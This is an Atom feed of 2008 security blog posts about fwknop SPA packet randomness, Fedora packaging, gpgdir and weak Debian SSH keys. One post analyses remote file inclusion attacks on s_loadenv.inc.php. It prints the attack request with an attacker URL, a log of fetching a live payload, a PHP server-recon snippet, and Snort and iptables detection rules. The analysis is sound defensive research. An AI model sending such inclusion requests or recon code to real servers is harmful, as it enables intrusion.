iCa8yL9IaP43DVhMflAEf+tQGaPw5xUd2/0=<br />
U2FsdGVkX18NuTMq50ef6hjD0t16ZUnKrVYjirVW81UIRNDfclS812vZAWTdcio8t3GC
QVxZz/uwrJsjkzevD0OhxJhba+CQVeKuJpfUOhskDQMtYDcH2hkGeDRK9Oc6AfLjO5Fd
JXxBJuf8pmxfLC2iWkfAfooCJpjkOm+afH4=
</code>
<br /><br />

All of the SPA packets generated by the command above are written to the file <i>spa_artifacts.pkts</i>,
and now let's execute the <i>base64_byte_frequency.pl</i> script against it.  This
script will create two new files <i>spa_artifacts.pkts.2d</i> and <i>spa_artifacts.pkts.3d</i>
for graphing in two and three dimensions.  The 2D file contains a simple count of each
base64 encoded character, and the 3D file contains a count of each character at each
position in the collection of SPA packets.  We'll use Gnuplot to graph this data as
follows:
<br /><br />
<code>
[spaclient]$ ./base64_byte_frequency.pl spa_artifacts.pkts<br />
[+] Parsing SPA packets from: spa_artifacts.pkts...<br />
[+] Writing 2D results to: spa_artifacts.pkts.2d...<br />
[+] Writing 3D results to: spa_artifacts.pkts.3d...<br />
[spaclient]$ cat &gt; spa_artifacts_2d.gnu<br />
reset<br />
set title "2D SPA packet randomness (artifacts included)"<br />
set terminal png transparent nocrop enhanced<br />
set output "spa_artifacts_2d.png"<br />
set xlabel "char"<br />
set ylabel "frequency"<br />
plot 'spa_artifacts.pkts.2d' using 1:2 with lines title '(char,freq)'<br />
[spaclient]$ cat &gt; spa_artifacts_3d.gnu<br />
reset<br />
set title "3D SPA packet randomness (artifacts included)"<br />
set terminal png transparent nocrop enhanced<br />
set output "spa_artifacts_3d.png"<br />
set xlabel "position"<br />
set ylabel "char"<br />
set zlabel "frequency"<br />
set view 72,9<br />
splot 'spa_artifacts.pkts.3d' using 1:2:3 with points title '(pos,char,freq)'<br />
[spaclient]$ gnuplot spa_artifacts_3d.gnu<br />
[spaclient]$ gnuplot spa_artifacts_2d.gnu<br />
[spaclient]$ ls -atlr *png<br />
-rw-r--r-- 1 mbr mbr    5977 2008-09-14 09:31 spa_artifacts_2d.png<br />
-rw-r--r-- 1 mbr mbr    4194 2008-09-14 09:31 spa_artifacts_3d.png
</code>
<br /><br />
The last two lines above indicate that Gnuplot has created two graphics files
<i>spa_artifacts_2d.png</i> and <i>spa_artifacts_3d.png</i> for plotting the data
in two and three dimensions.  Because we're graphing base64 characters as integer data,
the <i>base64_byte_frequency.pl</i> script maps each base64 character to numerically
ordered values beginning at zero.  We could have just graphed the hex value of each
character directly, but this would result in gaps.  For reference, the base64 alphabet
is described by the following characters (in order): +, /, 0-9, A-Z, a-z.  There is
also the equals "=" character, but it is only used as a closing marker.  So, the
<i>base64_byte_frequency.pl</i> script maps "+" to 0, "/" to 1, "0-9" to 1-11, "A-Z"
to 12-37, "a-z" to 38-63, and "=" to 64.
<br /><br />
Here is the 2-dimensional graph that Gnuplot has produced:
<img src="/images/spa_artifacts_2d.png" title="2D SPA byte frequencies with Salted__ prefix" alt="2D SPA byte frequencies with Salted__ prefix" />
You can see in the graph above that there are several spikes for a few character values.
These spikes correspond with the characters <b>U2FsdGVkX1</b>, which is the base64
encoded version of the string "Salted__".  Every SPA packet in the <i>spa_artifacts.pkts</i>
file begins with this string, and so one would expect more of these characters on
average than the others.  There is also a sharp dip to 20,000 on the right-hand
portion of the graph for the value 64, which corresponds to the <b>=</b> character.
This is because there is only one equals character at the end of each SPA packet in
the <i>spa_artifacts.pkts</i> file.
<br /><br />
Because base64 encoding uses an alphabet of 64 characters, and given that our sample
size is 20,000 packets of 171 bytes each (less the ending <b>=</b> marker), we would
expect the average number of times each character is represented to be
171 / 64 * 20000 = 53,000 (approximately).  That is, we can expect this value if the
SPA packets are perfectly random across the sample set.  The spikes in the 2D graph
throw this expected value off a bit.
<br /><br />

Now let's take a look at the 3-dimensional plot of the same data:
<img src="/images/spa_artifacts_3d.png" title="3D SPA byte frequencies with Salted__ prefix" alt="3D SPA byte frequencies with Salted__ prefix" />
This graph shows us where the predictable bytes are.  We know that each SPA
packet begins with <b>U2FsdGVkX1</b> and ends with <b>=</b>, and the outliers (on the
left-hand side and one point on the right-hand side - all with Z-axis values of
about 20,000) in the above graph illustrate this.  The X-axis represents the byte
positions of each packet, the Y-axis are the numeric character codes, and the
Z-axis is the number of times a character is counted.
<br /><br />
So, given that any recent release of fwknop removes the "Salted__" prefix and any
trailing "=" characters, are the graphs of such SPA packets now highly randomized?
<br /><br />

The answer is "almost".
<br /><br />

Let's produce the same two graphs, but this time for SPA packets produced by
any recent version of fwknop (without using the <i>--Include-salted</i> or
<i>--Include-equals</i> command line arguments).

<br /><br />
<code>
[spaclient]$ for ((i=1;i&lt;=20000;i+=1)); do fwknop -A tcp/22
-a 127.0.0.1 -D 127.0.0.1 --Save-packet --Save-packet-file
spa_no_artifacts.pkts --Save-packet-append
--get-key spa.pw &gt; /dev/null; echo $i; done<br />
1<br />
2<br />
3<br />
...<br />
19998<br />
19999<br />
20000<br />
[spaclient]$ head -n 2 spa_no_artifacts.pkts<br />
/ZlXox6SyQsyMpKVj+cxHlmSpMWOaAyxmou5LgThZ58yXlxFrR7BGtqSRJJTELrUgJ2/
RiX9If+NLXEANJSu9nogO8ZG2R6cllQlhT1vM6YiLsktujuV3a7r81I1JSCwC4YZdNQC
Y2xwcRGLMEEhykGhp0RKEYlSo<br />
8jX5NECzw4NGVg3LIEhu30ph0uvBa4ijW9/S7IQEQvdj/IPHle8KRoeyHvskj1fd0XU7
beUIb5zCKsFq7NTTUsnwaccULAKQHZz4Qm0ZTVC8st0doDfhU5Bl46LbDXPCejRbSQEd
cVgwDwaU8XqEKr8kYjXZ3ZNGA
</code>
<br /><br />

The 2-dimensional graph looks pretty good:
<img src="/images/spa_no_artifacts_2d.png" title="3D SPA byte frequencies without Salted__ prefix" alt="3D SPA byte frequencies without Salted__ prefix" />
Now that the invariant sections have been removed, the length of each packet is
161 characters, so if the randomness were perfect, we would expect the average
instance of each character to be 161 / 64 * 20000 = 50,300 (approximately), and
this is quite close to the value displayed by the graph.
There are still two minor spikes corresponding to the numeric values around 0
and 1, and then again around 10 and 11 on the X-axis.  These bytes correspond to
the characters +, /, 8, and 9 respectively.
<br /><br />
Let's look at the 3-dimensional graph to see if we can get a sense of where these
spikes are in terms of byte positions within the SPA packets:

<img src="/images/spa_no_artifacts_3d.png" title="3D SPA byte frequencies without Salted__ prefix" alt="3D SPA byte frequencies without Salted__ prefix" />
So, at the scale shown above, the 3D graph looks decently random - at least there
are far fewer outliers than for the first data set of 20,000 packets, and there aren't
any other obviously regular structures in the graph.  However, if you look to the
left-hand portion of the graph, you will see there are
small outliers at position 0 on the X-axis - the very first byte of each SPA
packet.  Looking through the <i>spa_no_artifacts.pkts</i> file, the graph is indeed
correct - every SPA packet begins with one of the bytes +, /, 8, or 9.
<br /><br />
Why?
<br /><br />
The reason is that the current fwknop client code strips the string <b>U2FsdGVkX1</b>
from each SPA packet <i>after</i> the raw encrypted data is base64 encoded, and
the encoding itself uses +, /, 8, or 9 after the
last "_" in the string "Salted__".  Although this is not huge problem, it does
mean that it is possible to write a Snort rule that uses a PCRE to look for one
of these bytes at the very beginning of UDP payload data.  This will be fixed
in a future release of fwknop.
<br /><br />
The techniques illustrated in this blog post can be applied to SPA packets
generated by other implementations as well.  Some SPA implementations use a hashed payload
instead of an encrypted payload which implies that multiple requests for the same
access through a firewall will look quite similar in many byte positions, so it is
much easier to detect such SPA packets with signatures in an intrusion detection
system.  By contrast, the SPA packets produced by fwknop are much harder to write reliable
signatures for effective detection in any IDS - particularly when combined with
the <link type="text/html" href="/blog/2008/06/single-packet-authorization-with-port-randomization.html">
port randomization</link> features offered in recent releases.
<br /><br />
Finally, this blog post has only addressed the randomness characteristics of
SPA packets that have been encrypted with the Rijndael cipher.  An upcoming blog
post will perform the same analysis for SPA packets encrypted with GnuPG.
<br /><br />

</p>
</div>
</content>
<feedburner:origLink>http://www.cipherdyne.org/blog/2008/09/visualizing-spa-packet-randomness.html</feedburner:origLink></entry>

<entry>
<title type="html">Port Knocking and SPA Coming to Fedora with fwknop</title>
<author>
<name>Michael Rash</name>
</author>
<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/cipherdyne/yoUq/~3/jPDegjshijA/port-knocking-and-spa-coming-to-fedora-with-fwknop.html" />
<id>http://www.cipherdyne.org/blog/2008/09/port-knocking-and-spa-coming-to-fedora-with-fwknop.html</id>

<published>2008-09-12T21:01:30-05:00</published>
<updated>2008-09-12T21:01:30-05:00</updated>

<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
<p>

<link type="text/html" href="http://fedoraproject.org/">
<img align="right" src="/images/fedora_logo.png" title="fwknop on Fedora" alt="fwknop on Fedora" /></link>
It appears that fwknop is going to be bundled within the next release of the
<link type="text/html" href="http://fedoraproject.org/">Fedora</link> Linux distribution thanks to the
work of Mirek Trmac and sponsored by <link type="text/html" href="http://www.redhat.com/">Red Hat</link>.
One of the most significant contributions made by Mirek can be seen in
<link type="text/html" href="http://trac.cipherdyne.org/trac/fwknop/changeset/1183">this patch</link> that
removes the dependency in the fwknopd daemon on the NetPacket perl module, which
seems not to be actively developed anymore.  An RPM of fwknop has been built for
<link type="text/html" href="http://download.fedora.redhat.com/pub/fedora/linux/development/i386/os/Packages/fwknop-1.9.7-1.fc10.i386.rpm">Fedora 10</link>,
and the build and approval status can be viewed on the
<link type="text/html" href="https://admin.fedoraproject.org/pkgdb/packages/name/fwknop">Fedora package page</link>.
<br /><br />
Although fwknop will certainly not be enabled by default on Fedora at boot time, at
least the infrastructure will be there to implement Single Packet Authorization on
Fedora with greater ease.  Well before Fedora 10 is released, I will also have a
comprehensive tutorial on the theory, implementation, and deployment of fwknop (in
both port knocking and SPA modes) available on cipherdyne.org.
<br /><br />
Given the recent problems that Debian and Red Hat
<link type="text/html" href="http://wiki.debian.org/SSLkeys">have</link>
<link type="text/html" href="http://rhn.redhat.com/errata/RHSA-2008-0855.html">had</link> with encryption keys
and the maintenance of server security, there is always room for additional
protection measures to make it more difficult to compromise systems.  The
<link type="text/html" href="/fwknop/docs/features.html">features</link> offered by fwknop make it
ideally suited to combine a default-drop iptables policy with dynamic access from
authenticated networks to services such as SSH.
<br /><br />

</p>
</div>
</content>
<feedburner:origLink>http://www.cipherdyne.org/blog/2008/09/port-knocking-and-spa-coming-to-fedora-with-fwknop.html</feedburner:origLink></entry>

<entry>
<title type="html">Analyzing and Preventing s_loadenv DOCUMENT_ROOT Attacks</title>
<author>
<name>Michael Rash</name>
</author>
<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/cipherdyne/yoUq/~3/lvrz-NvL81M/analyzing-and-preventing-s_loadenv-document_root-attacks.html" />
<id>http://www.cipherdyne.org/blog/2008/09/analyzing-and-preventing-s_loadenv-document_root-attacks.html</id>

<published>2008-09-01T21:01:30-05:00</published>
<updated>2008-09-01T21:01:30-05:00</updated>

<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
<p>

<link type="text/html" href="http://nvd.nist.gov/">
<img align="right" src="/images/nvd.jpg" title="NIST vulnerability database" alt="NIST vulnerability database" /></link>
Over the past month, in my web logs for cipherdyne.{com,org} there have been suspicious web
requests against the file <b>s_loadenv.inc.php</b> even though this file does not exist
on cipherdyne.{com,org}.  These web requests attempt to force the webserver to execute a
malicious PHP script via a web link provided in the DOCUMENT_ROOT form parameter.  The
requests basically look like the following (shown here as strings split across the perl
'.' operator so that browsing this page does not set off any IDS alarm bells):
<br /><br />
<code>
'GET ' .  '/some/path/s_loadenv.inc.php?DOCUMENT' . '_ROOT' . '=http' . '://badsite.com/some/evil/phptext??'.
</code>
<br /><br />
Fortunately, I don't run any PHP code at all even though my site has a WordPress
theme - it's just plain HTML that is
<link type="text/html" href="/blog/2008/05/site-update-wordpress-theme-without-running-wordpress.html">
updated by a set of custom perl scripts</link> when I make new blog postings or new software
releases.  So, my site is not vulnerable to attacks against unsafe DOCUMENT_ROOT
handling, and we can concentrate on analyzing the exploit attempts to get more
information.
<br /><br />
First things first - a check of the <link type="text/html" href="http://nvd.nist.gov/">NIST vulnerability database (NVD)</link>
does not turn up any CVE reference related to a PHP script named <i>s_loadenv.inc.php</i>,
and even a <link type="text/html" href="http://www.google.com/codesearch?q=file%3As_loadenv.inc.php&amp;hl=en&amp;btnG=Search+Code">
Google code search</link> for this file also leaves us empty handed.  There have been
vulnerabilities related to DOCUMENT_ROOT handling before (search the NVD for
"DOCUMENT_ROOT"), but none of the descriptions appear to match the web requests I'm
seeing.  So, whatever software is potentially vulnerable to this attack, either it is
probably not well known, or a CVE ID hasn't been created yet.  Some site administrators
seem to post their web logs on the Internet for all to see, and based on a
<link type="text/html" href="http://www.google.com/search?q=s_loadenv&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=com.ubuntu:en-US:unofficial&amp;client=firefox-a">
Google search</link>, my guess is that the exploit targets a piece of Russian CMS software
that I won't name, but I did attempt to contact the vendor to notify them of the
problem just in case they don't already know about it - they never responded.  The
attack is fairly widespread though - I have over 1500 such requests in my web logs
in the past month - and given the fact that most of the requests concentrate on a
specific area of my website, I would guess that this attack has been included within
an automated attack (more on this below).
<br /><br />
Now, let's get a bit more sophisticated.  The web requests advertise the
links to download exploit code, so I wrote a script (which you can
<link type="text/html" href="/scripts/s_loadenv_recon.pl.tar.gz">download</link>) called
<link type="text/html" href="/scripts/s_loadenv_recon.pl.tar.gz"><b>s_loadenv_recon.pl</b></link>
to parse the web requests and download the malicious software pointed to by the
DOCUMENT_ROOT links.  Typical usage is to search through the Apache
<i>access_log</i> file for web requests that match the strings
<i>s_loadenv.inc.php</i>, <i>DOCUMENT_ROOT</i>, and <i>http:</i>, and send these
logs through the script like so:
<br /><br />
<code>
$ grep "s_loadenv.inc.php" /var/www/logs/access_log | grep "DOCUMENT_ROOT" |
grep "http:" | ./s_loadenv_recon.pl<br />
[+] 202.181.210.195<br />
    /fwknop/docs/SPA.html//s_loadenv.inc.php<br />
        http://www.ganzkoerperpflege.at/files/oye.txt??  (1)<br />
--11:40:29--  http://www.ganzkoerperpflege.at/files/oye.txt??<br />
           =&gt; `oye.txt??'<br />
Resolving www.ganzkoerperpflege.at... 69.89.25.184<br />
Connecting to www.ganzkoerperpflege.at|69.89.25.184|:80... connected.<br />
HTTP request sent, awaiting response... 200 OK<br />
Length: 882 [text/plain]<br />
<br />
0%  [                                            ] 0             --.--K/s<br />
100%[===========================================&gt;] 882           --.--K/s<br />
<br />
11:40:29 (115.56 MB/s) - `oye.txt??' saved [882/882]
</code>
<br /><br />
The <i>s_loadenv_recon.pl</i> script uses wget to grab each of the exploit code
links, and stores them in the local directory <i>s_loadenv_recon/</i> according to the
IP of the original web request (with the IP used as a new directory where the data is
stored).  After letting this script run, I have a total of 352 files to examine that
were requested by 144 unique IP addresses.  By using the
<link type="text/html" href="http://www.maxmind.com/download/geoip/database/">GeoIP</link> database via
the <i>geoiplookup</i> tool, these IP addresses represent the following countries:

<br /><br />
<code>
$ cd s_loadenv_recon/<br />
$ for f in *; do geoiplookup $f; done |sort |uniq |perl -p -i -e 's|^.*?:\s||'<br />
AT, Austria<br />
AU, Australia<br />
BE, Belgium<br />
BG, Bulgaria<br />
BR, Brazil<br />
CA, Canada<br />
CH, Switzerland<br />
CL, Chile<br />
CN, China<br />
CO, Colombia<br />
CZ, Czech Republic<br />
DE, Germany<br />
DK, Denmark<br />
ES, Spain<br />
FR, France<br />
GB, United Kingdom<br />
HK, Hong Kong<br />
HU, Hungary<br />
IT, Italy<br />
JP, Japan<br />
KR, Korea, Republic of<br />
KZ, Kazakhstan<br />
MO, Macau<br />
--, N/A<br />
NL, Netherlands<br />
PL, Poland<br />
PT, Portugal<br />
RU, Russian Federation<br />
TH, Thailand<br />
TR, Turkey<br />
TW, Taiwan<br />
UA, Ukraine<br />
US, United States<br />
VN, Vietnam
</code>
<br /><br />

Now, for the exploit code files, most are not very interesting and just instruct the
server to reveal detailed config or status information.  For example, here is a snippet
from a file named <i>icon.jpg</i> that really contains PHP code:
<br /><br />
<code>
echo "bsdcr3w";<br />
$un = @php_uname();<br />
$up = system(uptime);<br />
$id1 = system(id);<br />
$pwd1 = @getcwd();<br />
$sof1 = getenv("SERVER_SOFTWARE");<br />
$php1 = phpversion();<br />
$name1 = $_SERVER['SERVER_NAME'];<br />
$ip1 = gethostbyname($SERVER_ADDR);<br />
$free1= diskfreespace($pwd1);<br />
$free = ConvertBytes(diskfreespace($pwd1));<br />
if (!$free) {$free = 0;}<br />
$all1= disk_total_space($pwd1);<br />
$all = ConvertBytes(disk_total_space($pwd1));<br />
if (!$all) {$all = 0;}<br />
$used = ConvertBytes($all1-$free1);<br />
$os = @PHP_OS;<br />
echo "We was here ... and u no !!!&lt;br&gt;";<br />
echo "uname -a: $un&lt;br&gt;";<br />
echo "os: $os&lt;br&gt;";<br />
echo "uptime: $up&lt;br&gt;";<br />
echo "id: $id1&lt;br&gt;";<br />
echo "pwd: $pwd1&lt;br&gt;";<br />
echo "php: $php1&lt;br&gt;";<br />
echo "software: $sof1&lt;br&gt;";<br />
echo "server-name: $name1&lt;br&gt;";<br />
echo "server-ip: $ip1&lt;br&gt;";<br />
</code>
<br /><br />

However, one file downloaded by the <i>s_loadenv_recon.pl</i> script contains some
much more interesting code with support for logging into an IRC channel, sending email,
conducting port scans, issuing TCP and UDP floods, and spawning connect-back shells.
This code is associated with the <i>pBot</i> trojan, and is detected by Snort rule ID
2003208 in the <link type="text/html" href="http://www.emergingthreats.net/">Emerging Threats</link> rule
set.  (I'm not going to post the pBot code here - email me privately if you have a
security research interest in it.)  Rule 2003208 checks for IRC communications associated
with the pBot trojan, so it will not detect the web requests against the
<i>s_loadenv.inc.php</i> script mentioned earlier.  In terms of the attack, what has
probably happened is that exploits for PHP vulnerabilities can sometimes interchanged,
and one of the malicious web requests linked to exploit code for the pBot trojan after
it was discovered that the Russian CMS software is vulnerable.  The vast majority of
the web requests linked to PHP code that is not associated with pBot.
<br /><br />
In addition to analyzing the malicious s_loadenv.inc.php web requests, this blog post
is also about preventing them even if they link to relatively benign PHP code, so let's
first write a basic Snort rule to detect matching requests.  Then we'll use
<link type="text/html" href="/fwsnort">fwsnort</link> to translate this rule into an iptables rule that uses
the DROP target to prevent any web requests that match the rule from reaching the
targeted webserver.

<br /><br />
<code>
# cd /etc/fwsnort/snort_rules/<br />
# cat &gt; s_loadenv.rules<br />
alert tcp $EXTERNAL_NET any -&gt; $HTTP_SERVERS $HTTP_PORTS (msg:"s_loadenv.inc.php DOCUMENT_ROOT attempt";
flow:established,to_server; uricontent:"/s_loadenv.inc.php?"; uricontent:"DOCUMENT_ROOT=";
uricontent:"http://" classtype:web-application-attack; reference:url,www.cipherdyne.org/blog/2008/09/01.html;
sid:20080001; rev:1;)<br />
# fwsnort --include-type s_loadenv --ipt-drop &gt; /dev/null<br />
# /etc/fwsnort/fwsnort.sh<br />
[+] Adding s_loadenv rules.<br />
    Rules added: 4<br />
[+] Finished.
</code>
<br /><br />

With the above commands executed, the FORWARD chain now contains the following
two rules that LOG and DROP packets in established TCP connections with port 80
that match the strings described in rule 20080001 above.  In closing, these rules
are shown below.

<br /><br />
<code>
$IPTABLES -A FWSNORT_FORWARD_ESTAB -p tcp --dport 80 -m string --string "/s_loadenv.inc.php?"
--algo bm -m string --string "DOCUMENT_ROOT=" --algo bm -m string --string "http://" --algo
bm -m comment --comment "sid:20080001; msg:s_loadenv.inc.php DOCUMENT_ROOT attempt;
classtype:web-application-attack; reference:url,www.cipherdyne.org/blog/2008/09/01.html;
rev:1; FWS:1.0.5;" -j LOG --log-ip-options --log-tcp-options --log-prefix
"[1] DRP SID20080001 ESTAB "<br />
$IPTABLES -A FWSNORT_FORWARD_ESTAB -p tcp --dport 80 -m string --string "/s_loadenv.inc.php?"
--algo bm -m string --string "DOCUMENT_ROOT=" --algo bm -m string --string "http://"
--algo bm -j DROP
</code>
<br /><br />

If you have any additional insight regarding the suspicious requests against
the <i>s_loadenv.inc.php</i> script, please <link type="text/html" href="/contact.html">email me</link>.
<br /><br />

</p>
</div>
</content>
<feedburner:origLink>http://www.cipherdyne.org/blog/2008/09/analyzing-and-preventing-s_loadenv-document_root-attacks.html</feedburner:origLink></entry>

<entry>
<title type="html">Software Release - gpgdir-1.9.2</title>
<author>
<name>Michael Rash</name>
</author>
<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/cipherdyne/yoUq/~3/sElNHzypZdw/software-release-gpgdir-1.9.2.html" />
<id>http://www.cipherdyne.org/blog/2008/08/software-release-gpgdir-1.9.2.html</id>

<published>2008-08-31T21:01:30-05:00</published>
<updated>2008-08-31T21:01:30-05:00</updated>

<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
<p>

<link type="text/html" href="/gpgdir/download/">
<img align="right" src="/images/release.png" title="gpgdir-1.9.2" alt="gpgdir-1.9.2 released" /></link>
The 1.9.2 release of <link type="text/html" href="/gpgdir"><b>gpgdir</b></link> is ready for
<link type="text/html" href="/gpgdir/download/"><b>download</b></link>.  This release introduces new
functionality to support the recursive signing and verification of files
within a directory in addition to the usual recursive encryption/decryption
cycle.  Each signature is created as a detached .asc file, which GnuPG
normally creates with the '-b -a' arguments.  As an illustration of this,
suppose that you want to recursively sign all files with a .tar.bz2
extension within a directory "/home/user/data" and all of its sub-directories.
This could be useful if you need to switch GnuPG keys after one key expires,
and update all signatures to be generated from a new key.  The following
command will accomplish this:
<br /><br />
<code>
$ gpgdir --Include .tar.bz2 --sign data<br />
[+] Executing: gpgdir --Include .tar.bz2 --sign data<br />
    Using GnuPG key: 1234ABCD<br />
    Enter signing password.<br />
Password:<br />
<br />
[+] Signing files in directory: /home/user/data<br />
[+] Building file list...<br />
[+] Signing:  /home/user/data/file1.tar.bz2<br />
[+] Signing:  /home/user/data/file2.tar.bz2<br />
[+] Signing:  /home/user/data/dir1/file3.tar.bz2<br />
[+] Signing:  /home/user/data/dir1/file4.tar.bz2<br />
[+] Signing:  /home/user/data/dir2/file5.tar.bz2<br />
[+] Signing:  /home/user/data/dir2/file6.tar.bz2<br />
<br />
[+] Total number of files signed: 6<br />
<br />
</code>
<br /><br />
And now to recursively verify all GnuPG signatures in the /home/user/data/
directory:
<br /><br />
<code>
$ ./gpgdir --verify /home/user/data<br />
[+] Verifying signatures in directory: /home/user/data<br />
[+] Building file list...<br />
[+] Verifying:  /home/user/data/file1.tar.bz2.asc<br />
[+] Verifying:  /home/user/data/file2.tar.bz2.asc<br />
[+] Verifying:  /home/user/data/dir1/file3.tar.bz2.asc<br />
[+] Verifying:  /home/user/data/dir1/file4.tar.bz2.asc<br />
[+] Verifying:  /home/user/data/dir2/file5.tar.bz2.asc<br />
[+] Verifying:  /home/user/data/dir2/file6.tar.bz2.asc<br />
<br />
[+] Total number of files verified: 6<br />
<br />
</code>
<br /><br />

Here is the complete
<link type="text/html" href="http://trac.cipherdyne.org/trac/gpgdir/browser/gpgdir/tags/gpgdir-1.9.2/ChangeLog">
ChangeLog:</link> for the 1.9.2 release:
<br /><br />
<ul>
<li>Added new modes '--sign &lt;dir&gt;' and '--verify &lt;dir&gt;' to allow all files
in the specified directory to be signed or verified instead of encrypted
or decrypted.  All GnuPG signatures are created as "&lt;file&gt;.asc", and the
original file is not removed in --sign mode.  In --verify mode, if any
file does not match the expected .asc signature, then a warning like the
following will be generated:

[+] Verifying:  /home/mbr/src/gpgdir/test/data-dir/multi-line-ascii.asc
[GNUPG:] BADSIG 9EDEEEEBA742EEEF Some User &lt;someuser@domain.org&gt;
</li>
<li>Bugfix to not die() when files that are encrypted with a different GnuPG
key are encountered in a directory that is being decrypted. A warning
message (see below) is now generated and the file is skipped:

[+] Decrypting:  /home/mbr/tmp/gpgdir/a.gpg
[GNUPG:] BAD_PASSPHRASE CF16F0FCFFF3FF4F
[-] Skipping file encrypted with different GnuPG key: a.gpg
</li>
<li>Updated to use the status output from GnuPG::Interface to detect a bad
passphrase and whether a file is encrypted with the expected GnuPG key.</li>
<li>Moved the GnuPG::Interface, Class::MethodMaker, and Term::ReadKey
modules to the deps/ directory, and updated the installer and RPM spec
file to account for the path change.  This change was suggested by
Franck Joncourt for the other cipherdyne.org projects.</li>
<li>Updated the test suite to generate files in the output/ directory
according to test number and append the result of each test within each
file.  This makes it easy to tell which tests have failed with a simple
'grep fail output/*test'.</li>
<li>Added the gpgdir-nodeps.spec file to allow an RPM to be built that does
not contain any perl modules dependencies.</li>
<li>Updated gpgdir to import perl modules via 'require' statements instead
of 'use' statements so that the path to the modules directory can be
changed via the --Lib-dir command line argument.  Also updated to use
the 'auto' heuristic (first implemented in the fwknop project) to detect
perl module directories that should be used in the --Lib-dir directory
to import perl modules from.</li>
</ul>


</p>
</div>
</content>
<feedburner:origLink>http://www.cipherdyne.org/blog/2008/08/software-release-gpgdir-1.9.2.html</feedburner:origLink></entry>

<entry>
<title type="html">fwknop vs. Weak SSH Keys</title>
<author>
<name>Michael Rash</name>
</author>
<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/cipherdyne/yoUq/~3/mXg5ghaO4eQ/fwknop-vs.-weak-ssh-keys.html" />
<id>http://www.cipherdyne.org/blog/2008/08/fwknop-vs.-weak-ssh-keys.html</id>

<published>2008-08-28T21:01:30-05:00</published>
<updated>2008-08-28T21:01:30-05:00</updated>

<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
<p>

<link type="text/html" href="http://wiki.debian.org/SSLkeys">
<img align="right" src="/images/debian_logo.png" title="fwknop Debian packages" alt="fwknop Debian packages" /></link>
As is well known, in the version of the OpenSSL library distributed by the Debian Linux
distribution through early 2008, there was a
<link type="text/html" href="http://svn.debian.org/viewsvn/pkg-openssl/openssl/trunk/rand/md_rand.c?rev=141&amp;view=diff&amp;r1=141&amp;r2=140&amp;p1=openssl/trunk/rand/md_rand.c&amp;p2=/openssl/trunk/rand/md_rand.c"><b>change</b></link>
made that had the <link type="text/html" href="http://wiki.debian.org/SSLkeys"><b>unintended consequence</b></link>
of reducing the ability of OpenSSL to gather the necessary entropy from the local system to
create cryptographically strong keys.  Fortunately, this problem has since been fixed, but
it affected a large list of applications - including OpenSSH - that linked against the
hobbled version of the OpenSSL library.  Even though the vulnerability has been patched and
upgrading a Debian system (or system derived from Debian such as Ubuntu) means that no new
weak keys will be generated, this is only half of the story; it is still critically important
to remove <i>all</i> weak keys from <i>all</i> systems.  This applies even to non-Debian
systems to which weak keys were copied from a vulnerable Debian system.  Further, any
password that was used over an SSH connection with weak keys (such as to log into a remote
system or a password used to unlock a GnuPG private key) should be treated as if it were
transmitted in the clear.
<br /><br />
So, how does <link type="text/html" href="/fwknop"><b>fwknop</b></link> play into all of this?
<br /><br />
Let's assume that a key is chosen for fwknop Single Packet Authorization
(<link type="text/html" href="/fwknop/docs/SPA.html">SPA</link>) message encryption/decryption, and this
key is only entered or viewed via console access (so it is never transmitted itself over
a weak SSH connection).  Let's also assume that SSH connections are made from a Debian
system with a weak SSH key to another system, but only after authenticating with fwknop
to the remote SSH server.  In this case, even if an attacker can sniff all packets
associated with both the SSH connection and the SPA packet, it is not a forgone conclusion
that the attacker will be able to access the SSH server.  If the user has to type in a
password over SSH (i.e. a pre-shared key is not used), then the attacker can see it after
decrypting the session, but the fwknop hurdle is still in the way.  The attacker would not
even be able to see that the SSH server is listening to connect to, and because the fwknop
key has never been transmitted in the clear, this provides a decent defense.  Building
up multiple layers of security is sometimes important.
<br /><br />
On another note, many people turn to mechanisms like
<link type="text/html" href="http://www.fail2ban.org/wiki/index.php/Main_Page">fail2ban</link> to help protect
against brute force attempts to guess weak user passwords in systems that allow arbitrary
IP addresses to connect to the local SSH daemon.  But, in the face of something like the
Debian OpenSSL vulnerability, there is no need for any attacker (who can sniff traffic)
to guess passwords at all - even strong passwords are effectively transmitted in the
clear.  To defend against this, a stronger layer of protection is necessary such as
Single Packet Authorization.
<br /><br />
Finally, the first step in removing weak SSH keys is to find them, and this is the job
of the
<link type="text/html" href="http://wiki.debian.org/SSLkeys#head-45e521140d6b8f2a0f96a115a5fc616c4f1baf0b"><b>dowkd.pl</b></link>
script.
<br /><br />

</p>
</div>
</content>
<feedburner:origLink>http://www.cipherdyne.org/blog/2008/08/fwknop-vs.-weak-ssh-keys.html</feedburner:origLink></entry>

<!-- end_stories -->
</feed>
